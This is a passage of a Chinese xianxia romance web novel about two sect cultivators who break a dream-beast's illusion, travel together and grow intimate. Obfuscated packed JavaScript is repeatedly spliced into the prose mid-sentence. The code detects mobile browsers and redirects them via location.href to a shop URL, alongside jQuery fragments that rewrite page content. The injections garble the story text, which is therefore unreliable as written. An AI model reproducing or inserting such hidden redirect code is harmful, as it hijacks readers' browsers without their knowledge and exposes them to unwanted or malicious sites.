随之而来的是一股极淡的香气,像是山间的某种野花被捣烂了的味道,甜腻中带着一丝腥味。 此时按照常理来说,她们应该调用灵力设下护身结界。 可辛暮并未有此动作,他在最后的几秒钟时间里,拉住了凌欢的手。 紫色的屏障中,凌欢被呛得直咳嗽。好不容易等烟雾散去了些,只听身旁“噗通”一声。 是辛暮倒下了。 “师兄……师兄!” 凌欢大惊失色,赶紧扑过去扶起他,感觉到男人的身子已经松了力,和那些沉睡的人一模一样。 …… 腥甜过后,辛暮睁开了眼。 紫雾已经散去,他依然站在白溪村的街巷中央,村子还是那个村子,但一切都变了。 两旁的店铺全都开了张,卖包子的吆喝声从左手边传来,摊前排着长长的队,客人买一个包子就给足足十个灵石,装钱的匣子里面灵石摞得老高。 右边酒肆门口,几个庄稼汉倚在竹椅上喝着散酒,手里攥着闪闪发光的金锄头,扯着嗓子说笑。 嗔笑间又有穿着不知打了几层补丁长衫的读书人仰面狂笑着跑过去,边跑边喊:“我儿中了!状元,状元啊——” 刚才那个死气沉沉的白溪村此时正走向另一个极端,热闹得诡异。 “小伙子,这姑娘是你媳妇儿?长得真俊!”一个扛着糖葫芦靶子的大爷路过,笑呵呵地冲着他吆喝了一声。 辛暮心里一紧,低头去看身边的凌欢。 少女杏眼明澈,脸上带着一点不好意思的羞红,歪过头来看着他,抿嘴笑了笑。 “阿暮,你看那边。” 她伸手指向前方,一个锦衣华服的中年男人从轿子里钻出来,对着身后两个轿夫趾高气扬地摆了摆手:“不必抬了,老爷我自己飞回去!” 说着手指乱七八糟的一动,嗖的飞上天,在半空中左摇右摆,看得底下一群人咋舌。 还有人扯着嗓子喊:“老李头,你现在什么境界啊?” 半空中的男人哈哈大笑:“今早刚成的,无极境!无极!知道什么叫无极吗!” 辛暮闻言皱了皱眉。 修仙界的修炼等级由低到高分别是太初、太清、太臻、无极。 前三境各再分六重,到了无极境后就不再有等级区分。 他如今太清四重,在新一辈中已经算是前列。 他的母亲合欢宗主藏月,在太臻三境止步不前。 目前修仙界达到无极境的也不过两人而已。 这老李头竟然敢说自己达到了无极境? 刚感慨完老李头不着天际的幻想,另一边又飘出一串清脆的笑声。 一个貌丑的男人左拥右抱带着五个花枝招展的女子从巷子里晃出来,那些女子个个生得貌美如花,莺莺燕燕地围着他笑闹,有的给他剥葡萄,有的给他擦汗,有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590910|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踮起脚尖在他脸上啄了一口。 男人一脸的意气风发,逢人便道:“对对对,六房了,都是上赶子要嫁给俺的!明天娶第七房!” 辛暮:“……” 这些人在幻境里还真是敢想啊。 本来他看到那两名合欢宗弟子额头的紫色痕迹时就怀疑作祟的是蜃梦兽,现在将计就计进入幻境,就更确定了。 蜃梦兽,体形不大,状如狸,通体生紫毛,好以梦境为食。 它会在自己的领地内铺开蜃梦之雾,凡是吸入了雾气的生灵,皆会落入幻境,在这里实现自己内心深处最渴望的美梦,在美梦里一点一点被蚕食神志。 他们的□□也会随着神识的枯萎而死亡。 若是修士中招,等到肉身彻底死亡之后,灵力便会被蜃梦兽吸食殆尽,化作它的养料。 要破除蜃梦兽的幻境,唯一的办法就是从内部打破,找到幻境的阵眼,摧毁它。 现在他们已经成功入了幻境,接下来只要毁掉阵眼,蜃梦之雾就会散去,这一片领域中所有的人就都能醒过来。 只是这蜃梦兽很少会主动靠近凡人聚集的地方,它的主要目标是低阶修士,凡人的神识对它来说是个鸡肋。 他刚才没有马上确认蜃梦兽,就是因为这白溪村近几年已经很少有修士落脚了,就连他们合欢宗那两个弟子也只是路过而已,目的地并不是这里。 不过现在不是思考蜃梦兽为何出现在这里的时候。 辛暮面色严肃,神识铺开,快速扫视附近环境,分析阵眼可能所在之处。 就在这时,身边的凌欢忽然贴了上来。 “阿暮。” 她的声音软软的,带着撒娇的意味。 辛暮低下头,看见她水汪汪的杏眼里蓄满了泪,鼻尖泛着薄红,像是忍了许久终于忍不住了。 “阿暮,我害怕……” 辛暮身子微微一僵,欢儿虽然胆小,但这还是头一次如此直白地流露出对他的依赖之情。 脑子难得的白了片刻,寻找阵眼的动作也随之停下。 他摸了摸凌欢的头发,温声道:“这幻境里不会出现什么凶险的事,反而会充斥着美好的幻象,欢儿要注意的是不要被内心的贪念迷了双眼。” 话还没说完,好像专门跟他对着干似的,头顶突然炸开一声嘶鸣。 一道黑影从天而降,竟是一条通体漆黑的巨蛇,背生两对肉翅,口中滴着黏稠的涎液,直直朝他和凌欢扑来。 辛暮下意识拔剑,断虹在空中划出一道银亮的弧线,将那条巨蛇齐腰斩断。 巨蛇落地之后化作紫雾消散,连尸体都没有留下。 辛暮收剑回鞘,怀里的人忽然踮起脚尖,一双杏眼睁得圆圆的,满是崇拜地望着他。 “阿暮好厉害。” 她拉住他的衣袖,轻轻一晃,似有纠结地开口。 “阿暮……其实我有件事一直不敢告诉师父,也不敢告诉你……” “我不想修合欢道了。” 辛暮一怔,好像完全没反应过来。 他隐隐猜到了面前的少女接下来要说什么,眼睛里有不可置信,也有一丝不该有的期待。 果然,凌欢眼里忽然涌出两行泪,委屈巴巴的说:“合欢道要换道侣的……可是我不想换,我只想永远和阿暮在一起,哪怕只做一对平凡的夫妻。” 辛暮嘴唇微微颤抖,先是被巨大的喜悦冲昏了头,然后一股莫名的恐惧感后知后觉拢上心头。 他已然意识到面前少女不是真正的凌欢。 她是幻象。 是他内心深处,最不可见人的欲望。 就算理智再怎么禁锢着他,他还是得承认,他想把欢儿留在身边,据为己有。 一想到欢儿未来要和他分开,去到另一个男人身边,和那个男人耳鬓厮磨水乳交融…… 他就嫉妒得发疯。 5. 他大意了 “师兄?师兄!” 凌欢蹲在辛暮身边,焦急地又唤了好几声。 男人没有反应。 凌欢咬了咬下唇,心里慌得厉害。 师兄修为那么高,怎么也会中招了?怎么师兄睡着了,她却没事? 她正不知所措,余光忽然瞥见一道黑影从巷尾闪过。 那影子不大,速度却极快,贴着墙根一蹿就没了踪影。 凌欢下意识站起身,心跳咚咚咚地擂在耳膜上。她回头看了看躺在地上的辛暮,犹豫一瞬,还是召出了若水扇。 现在师兄情况未明,她就必须得肩负起保护大家的重担。 若水扇如其名,扇面温润如水,在太阳下呈半透明的银色。展开时带出一道清凌凌的水光,防御性极强,这是入门时藏月送她的傍身法器,也是她最常用的一件法器。 凌欢攥紧扇柄,朝着黑影消失的方向追了过去。 出了村巷,绕过一片菜畦,前方隐约传来一声短促的惊叫,是个孩子的声音。 凌欢加快脚步,转过一处坍塌过半的土墙,眼前的景象让她心头一紧。 一只通体生着紫毛的畜生正弓着背,朝一个男孩一步步逼近。 那东西不过家猫大小,形似狸猫,尾巴蓬松,一双眼睛泛着幽幽的绿光。它每走一步,身上的紫毛便会荡出一圈淡淡的雾气,雾气里夹杂着那股甜腻的花香。 男孩大约十岁年纪,生得眉清目秀,身上穿着一件洗得发白的青布长衫,领口磨出了毛边,却干干净净,不见一点脏污。 他已经跑到了死胡同,身后就是墙,面前是怪物,避无可避。 那蜃梦兽低低地呜了一声,口中紫雾凝聚,正要朝男孩的面门喷去。 凌欢来不及多想,手中若水扇猛地一挥,一道淡蓝色的水幕在男孩身前铺开,将那团紫雾挡了回去。 蜃梦兽本就胆小,被这突如其来的变故吓了一跳,浑身的紫毛炸开,噌地往后蹿出老远。 它回头看见凌欢手中的若水扇,绿眼睛里闪过一丝怯意,喉咙里发出一声不甘的低吼,却当真不敢正面对抗,扭头甩出一大蓬紫烟,几个起落便消失在荒草丛中。 凌欢不敢大意,快步上前将男孩揽入怀中,若水扇展开挡在两人面前。 直到那团紫烟彻底消散在风中,四周重新安静下来,她才松了一口气。 身后传来一个有些发紧的声音。 “多……多谢仙女姐姐相救。” 凌欢转过身,这才仔细看清了男孩的模样。 他正仰着头看她,眼神呆呆的,仿佛还没从方才的惊吓中回过神来。 凌欢被他看得有些不自在,尴尬地摆了摆手:“我不是仙女……你可有受伤?” 男孩反应慢半拍似的,突然回过神来,赶紧低下头:“没有。” 凌欢没有注意这些,她弯下腰,拍了拍男孩肩上的灰,问道:“你是这个村子的?” 男孩回过神来,讷讷退了半步,离凌欢远了些。 “嗯……我爹是叶秀才,他昨日也睡着了,怎么叫都叫不醒……我害怕,就跑出来想找人帮忙,结果发现大家都睡着了……我只能躲着。” 一番话说得断断续续,可见这孩子被吓得不轻。 不过确实,他本来就是个孩子,遇到这种事难免慌神。 凌欢正要再问几句,周围忽然起了变化。 躺在路边的大婶哼了一声,嘴里嘟嘟囔囔地骂了句“老李头你又偷我家的鸡”,随即一个鲤鱼打挺坐起来。 那个抱着竹蜻蜓的孩子揉着眼睛撑起身子,茫然地看看四周,哇的一声哭了,嘴里直喊娘。 沉寂的白溪村重新活了过来,到处都是刚刚苏醒的村民。 凌欢心里一喜,大家都恢复了? 那师兄应该也醒了! 还没等她去找辛暮,一道淡青色的流光已经从村中疾掠而来,眨眼间便落在了她面前。 辛暮衣袍微乱,额角还带着一层薄汗,脸色不太好看。 “欢儿!” 他一把扣住凌欢的手腕,将她从头到脚看了一遍,确认没受伤,才微微松了半口气,将人揽入怀中。 “对不起欢儿,师兄大意了,没能保护好你……” 今日确实是他大意了。 他把幻境搅了个天翻地覆,最后才隐隐意识到,欢儿可能并没有一起进来。 他理所应当地认为他可以带着欢儿进入蜃梦兽的幻境,却没成想欢儿竟然独自被留在了外面。 话音刚落,身后就涌来一群村民,七嘴八舌地嚷开了。 “怎么回事?我刚才好像做了个梦,娶了七房媳妇?” “你那算啥子?我可是达到无极境了!” “哎我的锄头怎么又变回来了……” 讨论着讨论着就意识到自己头脑发虚四肢无力,像是被抽走了大半的精气神一样,不由得开始后怕。 言语间有人注意到辛暮和凌欢这两个新面孔,认出辛暮就是刚才“梦”里那个很厉害的仙人道长,马上激动起来。 “道长是您把我们叫醒的?” 辛暮点头,担忧村民们留恋幻境,多解释了句:“若是放任你们沉溺于幻境,不出三日你们就会被吸干神识死去。” 那人看着辛暮严肃的样子,不由得一阵冷颤。 村民们越聚越多,把辛暮围了个水泄不通,有作揖的,有道谢的,还有人拎了两只老母鸡非要塞给他。 先前那两个合欢宗的弟子抓着半死不活的蜃梦兽过来,一看这情况,赶紧挤进来挡在她们师兄师姐前面维持秩序。 蜃梦兽的幻境一旦被人强行打破,就会受到重创,没有反抗之力。 那两个弟子被阴了一次,心中早就憋着火了,一醒过来就磨刀霍霍去找罪魁祸首,很容易就抓到了蜃梦兽。 村民看到她们手里的妖兽更兴奋了,声浪一层层的涌过来,表达感谢。 “几位道长真是宅心仁厚救人于水火啊……” “一点心意您一定要笑纳……” “不知道长师出何门,如何称呼?” 辛暮婉拒了递到脸前的老母鸡,正色道:“在下辛暮,是……合欢宗弟子。” 其实他严格来说并不算合欢宗弟子,但此时和村民解释自己出身和师承有些麻烦,不如直接说出身合欢宗。 此言一出,村民们的眼神顿时多了几分敬畏。 合欢宗啊,那可是修仙界八大宗门之一,怪不得道长这么厉害! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人感受到辛暮对这个孩子的怀疑,不由得集体沉默下来,许多道目光落在这男孩身上。 有人心里开始犯嘀咕,悄悄问长辈:“俺要没记错的话,喜娃儿是叶秀才捡来的孩子吧……” 话没说完就被一肘子戳过来打断了。 “少说两句!那可是咱们村的希望,就指望这孩子将来有出息当个官,庇佑咱们呢……” 修士耳清目明,即使声音再小,辛暮也听得清楚。 气氛正僵着,一个穿着洗得发白的灰布长衫的中年男人跌跌撞撞地从人群里挤了出来。 “喜娃儿,你没事吧!” 叶秀才踉跄着跑过来,一把将男孩搂进怀里,浑身上下摸了一遍,确认没少胳膊没缺腿,这才转过身来对着辛暮连作了三个揖。 “道长息怒,息怒!喜娃儿是在下的儿子……亲儿子!从小就聪慧过人,是白溪村唯一一个读书的好苗子,谁有问题他都不可能有问题的,道长明鉴啊!” 辛暮沉默片刻,目光定在喜娃儿身上,看似是在考量,其实神识已经查探过去了。 ……身上没有魔气,也不是什么妖的化身,气息干净纯粹,确实不像是有问题的样子。 那孩子缩在父亲怀里,低着头一声不吭。 最终辛暮还是收了剑。 没有证据,他也不能平白污蔑人家。 也许这孩子真的和凌欢一样,是个无欲无求的人吧。 6. 可以吗 白溪村的事总算平息下来。 离开村子后,辛暮掌心浮现一道传讯符,指尖灵力一点,符纸化作流光朝凤鸣山方向飞去。 凌欢跟在他身边,仰头看着那道流光消失在天际,问道:“师兄,我们现在回宗门吗?” 辛暮顿了顿,转而看向另外一个方向。 “欢儿还没去过沧州吧?” 凌欢摇摇头,她几乎都没出过山门,更别提远在千里之外的沧州。 “那边景色很好,有很多好玩的地方。”辛暮一直没看她,像是在自言自语,“反正都出来了,带你去玩玩?” 凌欢眼睛亮了一下,随即又有些犹豫:“那师尊那边……” “母亲那边我已经说过了。”辛暮很快接上。 凌欢雀跃起来:“那我们快去吧!” …… 沧州。 正是午后,湖面上波光粼粼。 一艘游船漂在湖心,比寻常的画舫小些,船舱却宽敞,摆得下一张矮桌、两三个软垫。 桌上搁着几碟吃食,桂花糕、莲子羹、一碟酥鱼,还有两盅温着的米酒。 辛暮坐在船尾充当船夫,用灵力作桨,缓缓催动船划向湖心。 凌欢趴在船头,伸手撩动清透的湖水,时不时去够水面的荷叶。 她今日穿了一身粉色的襦裙,料子轻薄柔软,裙摆上绣着细碎的花枝。 发髻也比往日讲究些,斜插着一支白玉簪,簪头雕了朵小小的合欢花。脚上一双绣鞋是锻面的,鞋尖缀着两颗圆润的珍珠。 都是这一个月里辛暮陆陆续续给她买的。 这一个月里,辛暮带她逛遍了沧州的大街小巷。 她头一回来这样的地方,看什么都新鲜,杂耍摊子要看,糖人摊子也要看。 辛暮就跟在她身后,她多看两眼的东西,回头就送到了她手上。 他们在沧州城东买了一处小院,不大,两间卧房,一个天井。天井里种了棵石榴树,叶子绿油油的,还没到开花的时节。 凌欢每天早上都要睡到日上三竿才起。 辛暮从不叫她,寅时便起身修炼。等她睡够了,才带她出门寻乐子。 现在这沧州哪家铺子的糖糕最软,哪家酒楼的饭菜最合她的口味,辛暮心里门儿清。 “师兄,你看这条鱼是花的!” 凌欢伸手去指水面下的一尾红鲤,身子探出去太多,船身晃了一下。 辛暮笑道:“慢些,别掉下去。” 凌欢不以为意,又伸手去够另一边的荷叶。 辛暮叹了口气,走到船头想伸手拉她。 她却好像又看到了什么稀奇的玩意儿,反手抓住辛暮的手腕使劲晃:“师兄!那边那边!有莲蓬!” 动作一大,船身随之猛地一歪。 辛暮脚下没稳住,就要往凌欢身上栽。 好在一身修为不是白瞎的,辛暮几乎是瞬息之间就调整姿势,用手肘撑住了身子,两人之间隔出一乍距离,不至于砸到凌欢。 矮桌上的米酒盅晃了晃,倒在桌面上,淌出一小滩。 两个人离得极近,鼻尖对着鼻尖。 她的手撑在他胸膛上,能感觉到那里的心跳很快。 凌欢看着他的眼睛,那里面好像有什么东西和平时不太一样。深沉的,灼热的,像是被压了很久的暗火,终于找到了一丝缝隙窜上来。 她伸出手去,碰了碰他的眉骨。 这个动作像是触发了什么开关。 辛暮的呼吸猛地一重,低下头,唇覆上了她的。 这还是两人离开合欢宗后,头一回亲密接触。 这一个月里,他克己守礼几乎到了过分的地步,除了上街时会牵着凌欢的手之外,两人的相处模式好像又退回了以前单纯只做师兄妹的时候。 凌欢自然也察觉到了这点,不过她只是好奇了一瞬,就没再多想。 见凌欢一点都不在乎,辛暮心里更郁闷了。 两方在他的脑海中交战,一边呐喊着:带她远走高飞,能躲一天是一天。 一边痛斥:你真是个无耻小人,用这样的方式阻碍她的修行。 没人知道他这一个月是怎么过来的,到底憋了多久。 一旦开了这个口子,这些纠结烦闷好像全都被暂时扔到了脑后,只剩下一件事: 要她。 他吻得又凶又急,像是渴了太久的人终于碰到了水。 凌欢被他亲得有些迷糊,舌尖纠缠间发出含混的声响。她的手下意识攀上他的后背,感觉到手底下男人的肌肉绷得紧紧的。 不知过了多久,辛暮撑起身子,低头看她。 少女的唇被亲得红润欲滴,杏眼里蒙着一层水雾,发髻被他揉散了,那支白玉簪要掉不掉地挂在发间。 她有些喘不上气,胸口起伏着。 “欢儿。” 辛暮的声音哑得几乎听不出原本的调子,喉结艰难地滚动了一下。 “可以吗?” 凌欢眨了眨眼,睫毛上沾着一点水光。 这个月她看了不少话本子,对于辛暮这话的意思,多多少少是知晓的。 她羞于启齿,故而没有直接回答,而是仰起头,在他下巴上咬了一口。 辛暮脑子里那根弦彻底断了。 他单手掐了个诀,一道淡青色的结界自船舷四周升起,将这条船隔绝成一个孤岛。 ……… 船轻轻晃着,船底的水波涌动,轻轻响着。 船舱里的温度好像高了许多。 凌欢咬着嘴唇,脸皮烫的要烧起来,眼睛闭得紧紧的,不敢看他。 她能感觉到他的目光落在她身上,那种灼灼注视比触碰更让人难耐。 辛暮吻上她的左眼。 “欢儿,看着我。” 凌欢连连摇头,睫毛颤得厉害。 辛暮见状,嘴角的笑意更深了些,语气带着蛊惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590912|205456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意味。 “欢儿害羞的样子真可爱……” 他没有勉强,只是更耐心了些。 注意到少女微微蹙起的眉,他马上停住,抱起她换了个地方。 …… 船身轻轻晃着,荡开一圈又一圈的涟漪。 远处有鹭鸶掠过,翅膀扑棱棱地响了几声,又归于寂静。 不知过了多久,等神识飘飘忽忽从云端落下,凌欢才忽然想起什么,急急地推了推辛暮的肩膀。 “师兄……灵元……” 她怎么就把正事忘了个干干净净? 明明刚才她的灵台已经全然放开防备,两人的灵力交融,是采撷灵元最好的时机。 辛暮失笑,笑声闷在胸腔里,没好意思说其实他刚才也全然没顾上。 “不急。”他吻了吻她的额头,“我们再来一次。” 凌欢愣住,还没来得及说什么,他已经重新吻了上来。 这一次她努力分出一丝心神,去感受他灵力流转的轨迹。 辛暮也刻意放慢了节奏,灵脉敞开,灵力在她体内缓缓游走,每经过一处关窍都会稍稍停留,像是在指引她。 到了灵台前,果然戒备松散,他的神识很容易就进入,带着汹涌纯净的灵力。 “就是现在。” 他的声音像是从很远的地方传来。 凌欢咬紧嘴唇,神识探入他的灵力洪流。密密麻麻的灵元安静地悬在深处凝成团,她小心翼翼地靠近,用秘术剥离了一颗。 灵元钻入自己灵台的那一刻,她整个人都酥了半边。 本不属于自己的东西,落在灵台里总归有些不习惯。但好在这灵力是她所熟悉的,故而这感觉稍纵即逝。 辛暮闷哼一声,将她揽得更紧。 凌欢用神识反复摩挲着那颗灵元,激动的想要蹦跳大喊。 她终于成功了! 趁热打铁,她压下兴奋,就赶紧调用自己的灵力去炼化灵元。 她还没试过炼化别人的灵元呢!也不知道师兄这一颗灵元能让她修为提高多少。 辛暮看着面前突然像是睡着了一样的少女,默默叹了口气,抽身离开。 掐个清洁咒将凌欢身上收拾清爽,从储物袋中拿出一套干净的衣裳给她穿好。 再整理整理船舱里凌乱的软垫和扶枕,把水渍都清理干净。 做完这些,腹下还是有些不得劲。 他精力本就比常人充沛,这方面自然也没那么容易完全释放。 更何况还是…… 辛暮头痛的揉了揉太阳穴,半途而退要不得。 现在欢儿在入定,他得护法,不能走开。又不好意思在欢儿面前自行处理,只能硬捱着,等火气自然降下去。 不过他也算是摸清了欢儿的规律。 得先送她攀上高峰,等她兴趣没那么高涨、心情逐渐回落的时候,才能顾得上采撷灵元。 以后他就晓得了。 7. 不想和他有孩子 沧州城东有座听雨楼,上下三层,底层摆了十几张方桌,坐满了喝茶听书的人。 说书先生一拍醒木,满楼皆静。 “话说那血煞门,满门上下皆是魔修,手段之狠辣,令人发指!” 先生捋了捋胡须,声音忽地压低。 “五年前,血煞门换了新尊主。此人一上任,便干出一桩惊天动地的大案。” 醒木又是一拍。 “有个刚成立的小门派,满打满算不过三十来人,从不招惹是非。血煞门的新尊主派人去后厨投毒。当日晚饭,全门上下三十七口,吃下去不到半柱香的工夫,七窍流血,满地打滚。” 先生说至此处,嗓音陡厉。 “那毒不是寻常毒药,是专门腐蚀灵脉的魔毒。中毒之人灵力尽失,五脏俱焚,连跑都跑不动。血煞门的人就这么大摇大摆地走进去,一个一个补刀,连厨房里烧火的老头都没放过。三十七条人命,一夜之间,鸡犬不留。” 满楼听客倒吸一口凉气。 “更可恨的是,事后血煞门还放出话来——‘得罪我血煞门,这便是下场。’可那小小门派,与血煞门素无往来,何谈得罪?” 先生叹了口气,端起茶杯抿了一口。 “这五年来,血煞门的恶行一桩接一桩,灭门之事不下十起。那新尊主究竟什么来路,至今无人知晓。” 楼里议论纷纷,有人拍桌怒骂,有人摇头叹息。 凌欢坐在二楼靠窗的位置,手里捧着一碗杏仁酪,勺子搁在碗里忘了搅。 辛暮看了她一眼,伸手把她垂到碗边的一缕头发拨开。 “听入迷了?” 凌欢回过神来,舀了一勺杏仁酪送进嘴里,含糊道:“那个血煞门的新尊主好生可恶。” 而且那小门派被灭门,竟然都没有惊动附近的大宗门?没有派弟子为了正义而讨伐?这是个声扬宗门威望的好时机吧? 她皱着眉,将心中疑惑一并问了。 辛暮欣慰的看着她:“所以这只是民间流传版本,真实情况我们不得而知。” …… 散场时已是黄昏。 凌欢手里攥着没吃完的糖炒栗子,和辛暮一起下了楼。 出门时正好碰上隔壁的李嫂子,挽着竹篮跟上来,笑呵呵地同他们打招呼。 “妹子,你们今儿来听书啦?” 凌欢点点头,剥了颗栗子递过去。李嫂子接了,三人沿着长街慢慢往回走。 李嫂子是个爽利人,嘴碎但热心肠。 她住在他们隔壁,平日里送过几回自家腌的咸菜,凌欢也回赠过从铺子里买的糕点,一来二去便熟了。 有时候辛暮在修行的紧要关头,得入定好几日。凌欢闲着无聊,就会帮李嫂子喂喂鸡编编草席,顺便跟李嫂子的儿子抢玩具木马。 凌欢生得一张讨巧的脸,又乖乖的乐呵呵的,跟她说什么都不生气,没个把月呢就成了李嫂子迟到了十几年的“闺中密友”。 就连给儿子的小木马,李嫂子都催着自家那口子做了个大号的出来,让她俩一块玩。 李嫂子同凌欢说笑几句,余光注意到身后一步远的辛暮,压低声音问:“妹子,我多嘴问一句,你别恼啊。” 凌欢歪头看她。 “你们夫妻俩搬过来也一年多了,怎么肚子一直没动静?”李嫂子瞅了一眼凌欢的肚子,是真有点为她发愁。 她刚嫁过来的时候也是一年多都没怀上,可把婆家愁的不行,又是看病又是喝符水的,没少遭罪。 后来是她丈夫实在看不下去了,干脆一梗脖子承认就是自己不行,老一辈这才偃旗息鼓,讷讷收兵。 也许是没了那么大的心理压力,不再强求,第二年李嫂子就怀上了。李大哥这才跟家里说清楚,他没问题,当时说自己不行只是权宜之计。 现在李嫂子看凌欢一直没动静,倒不是要催她,是真怕了凌欢也走她的老路。 凌欢愣了一下。 李嫂子见她这反应,又凑近了些,声音压得更低:“是不是……你家那位不太行?我认识个老大夫,专看这方面的,要不要给他……” 凌欢这才明白过来,忍不住嗤笑出声。 说师兄不太行? 师兄可行着呢。 要不是她有事对这种事会有莫名的厌倦感,师兄恨不得夜夜都来。 冲顶的感觉固然上头,但翻来覆去的冲,也是吃不消的。 “嫂子误会了。”她剥着栗子,语气平常,“我们合欢宗有秘术,可以自行选择愿不愿意有孩子。” 李嫂子张了张嘴,啊了一声,显然头一回听说这种事。 她讪讪地笑了笑,不再多问。 身后几步远的辛暮将这些话听得清楚。 他的脚步顿了一顿,随即若无其事地跟上。 合欢宗的秘术,他当然知道。 这么久以来他一直都在有意无意的回避这个问题,回避…… 欢儿其实不想和他有孩子。 …… 回到小院,凌欢把没吃完的栗子搁在桌上。脱了鞋,盘腿坐在榻上开始今日的修炼。 辛暮倒了杯水放在她手边,在她对面坐下。 以往他在这时候也会一起修炼,今日却心浮气躁,状态不适于修炼。 他因着要给凌欢送灵元,自身修为进展缓慢。 尽管已经抓紧所有时间,但修炼灵元本就不是容易的事,再加上凌欢现在采撷灵元已经很熟练,他修炼灵元的速度终归还是赶不上送的速度。 有熟悉的灵力划来,辛暮伸出手,一张浅金色的通讯符于掌心显现。 那是来自藏月的消息,是给凌欢的,被他半途拦住了。 他看一眼正对面闭目修炼的凌欢,手指动了动,还是微微侧了身,挡住少女的视线,才展开通讯符。 不出意外的,又是在问她们何时回宗门。 身后少女的声音冷不丁传来。 “师兄,我们在这已经住了一年半了,什么时候回去?” 辛暮手指一抖,下意识的将通讯符销毁。 “你是不是在这里玩腻了?”他理理衣袍,语气随意,“要不咱们再去紫光川住一阵?” 凌欢犹豫了一下。 “紫光川?” “极地冰川,在北方。”辛暮说,“那边的雪景很好看,还有冰湖,湖底有半人高的鱼。夜里还有极光,色彩瑰丽光怪陆离。” 凌欢眨了眨眼,有些心动。想到什么,又有些担忧。 “那边是不是很冷?” “你现在已经是太初四境了。”辛暮转身看着她,眼底含着些难以察觉的恳切,“那点寒气,伤不到你。” 若是从正常的角度来看,凌欢从入门到现在将近十二年,还有辛暮这样的道侣供她采撷灵元,才到太初四境,实在是有点笨得不开窍。 太初境是最好晋升的,正常修士修行十二年,高低都能到太初六境。 然八成的修士都会卡在这太初六境,再无晋升的机会。 这也算是修仙界的一种关于天赋的筛选。 凌欢想了想,一来她确实没去过紫光川,二来嘛…… 她也想看看自己现在的实力究竟有多强。 师兄说她已经可以抵御极地严寒,那不如…… 去看看? …… 紫光川在极北之地,越往北飞,风越冷,地面的颜色也渐渐从绿变成白。 凌欢坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“合欢宗弟子。”辛暮简洁道,“出门游历,借贵地住一阵。” 老汉一听,脸上的迟疑立刻变成了笑意,连连拱手。 早就听说过那些修仙的宗门会放弟子出来游历,但他们这种地界,很少有弟子会来。 难得见着两个,那可老新鲜了。 “原来是仙长!住多久都行,住多久都行!这地方偏,一年到头没几个人来,仙长能来住,那是我们的福气!” 后面跟来的几个村民也纷纷围上来,有的拎着冻鱼,有的抱着一捆柴火,七嘴八舌地往辛暮手里塞。 辛暮讲究一个入乡随俗,一点宗主之子的架子都没有,周到的一一收了,然后从储物袋中挑选了一些炎火珠一类的对他们有用的法器作为回礼。 两遍拉拉扯扯你推我往的好不热闹,凌欢在一旁看着,觉得十分新奇。 那些村民分明是很需要也很想要师兄给他们的法宝的,但为什么又要推脱两下? 还有师兄,他的储物袋里可是什么都有。烧火的话,直接用灵力就行,为何还要收那村民的一捆柴火? 想不明白,就先不想了。 木屋拾掇妥当后,凌欢又跟着几个村民去了村外的冰湖,看他们凿冰捞鱼。 辛暮一跃上了屋顶,寒风吹起他的衣袍,在空中猎猎作响。 他看着远处蹲在湖面上好奇宝宝似的盯人家动作的少女,半晌,轻轻叹了口气。 伸出手,一张符纸在掌心出现。 他慢慢写着:“待为欢儿取得本命灵剑便归。” 8. 雪崩 紫光川边缘散落着七八个村落,冰雪村是其中最偏的一个。 村子不大,三十来户人家,木屋矮矮地挤在一处,屋顶上的雪积得比门框还高。村里人世代以凿冰捕鱼为生,性子直,嗓门大,谁家有口吃的都要分邻居半碗。 凌欢和辛暮的木屋就盖在村子的东边,距离最边缘的那户人家大概百步的路程。 那户人家姓金,有个六岁的小女儿,村里人都叫她小金子。 小金子生得圆脸圆眼,两坨红彤彤的脸蛋常年挂着,一笑就露出缺了颗门牙的牙床,外向得很。她娘给她缝的皮袄总是大一号,袖子长得能把手全裹进去,跑起来像只小肥鹅。 小金子是头一个主动来亲近凌欢的。 给凌欢塞了一把松子,捂得汗涔涔的。 凌欢脸上一点嫌弃的神色都没有,剥了一颗塞进嘴里,又给小金子剥一颗,两人就算是建立了友谊。 从那以后,小金子几乎天天往木屋跑。 一来呢,姐姐姐夫生得好看。二来爹娘说了,她们可是神仙道长。 神仙道长能眨眼间就把那么大一块雪地给压平了,做成冰场,还有弯弯曲曲的冰道。 神仙道长又能抓来冰脊兽,让它拉雪橇。 小金子现在还记得,姐夫牵着两头冰脊兽回来的时候,叔叔伯伯们受到惊吓的样子。 那灵兽形似狼,却比寻常的狼大了整整一圈,肩高及人腰,通体覆着银灰色的厚毛,在日光下泛着一层幽幽的蓝光。 这冰脊兽可是村里出了名的祸害,平时他们上山时都要祈祷千万别碰见。 现在竟然被道长栓着脖子牵回来了? 还用来拉雪橇? 